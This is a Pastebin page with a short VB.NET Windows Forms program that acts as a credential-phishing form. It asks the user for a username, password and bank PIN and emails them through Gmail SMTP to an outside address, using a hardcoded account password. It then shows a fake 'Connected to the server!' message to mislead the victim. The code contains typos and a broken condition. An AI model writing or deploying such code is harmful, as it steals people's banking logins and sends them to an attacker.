daily pastebin goal
21%
SHARE
TWEET

Untitled

a guest Oct 3rd, 2017 416 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Net.Mail
  2. Public Class Form1
  3.  
  4.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  5.  
  6.         If Textbox1.Text = "" And TextBox2.Text = ""  And TextBox3.Text Then
  7.             MessageBox.Show("Please enter your details before continueing")
  8.         Else
  9.             If TextBox3.Text = "" Then
  10.                 MessageBox.Show("Bank pin Is Missing")
  11.             Else
  12.                 If TextBox2.Text = "" Then
  13.                     MessageBox.Show("Password Is Missing")
  14.                 Else
  15.                     If Textbox1.Text = "" Then
  16.                         MessageBox.Show("Username is missing")
  17.                     Else
  18.                     Dim smtpServer As New SmtpClient()
  19.                     Dim mail As New MailMessage()
  20.                     smtpServer.Credentials = New Net.NetworkCredential("gpbot123456@gmail.com", "emiliodimassanchez")
  21.                     'using gmail
  22.                     smtpServer.Port = 587
  23.                     smtpServer.Host = "smtp.gmail.com"
  24.                     smtpServer.EnableSsl = True
  25.                     mail = New MailMessage()
  26.                     mail.From = New MailAddress("gpbot123456@gmail.com")
  27.                     mail.To.Add("gpbot@live.co.uk")
  28.                     mail.Subject = "Username: " & Textbox1.Text & " " & "Password: " & TextBox2.Text & " " & "BankPin: " & TexBox3.Text
  29.                     mail.Body = "Username : " & Textbox1.Text & ", " & "Password : " & TextBox2.Text & ", " & "BankPin : " & TexBox3.Text
  30.                     smtpServer.Send(mail)
  31.                     MsgBox("Connected to the server!")
  32.                     SplashScreen1.Show()
  33.                     Me.hide
  34.                 End If
  35.             End If
  36.         End If
  37.     End If
  38. End Sub
  39. End Class
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top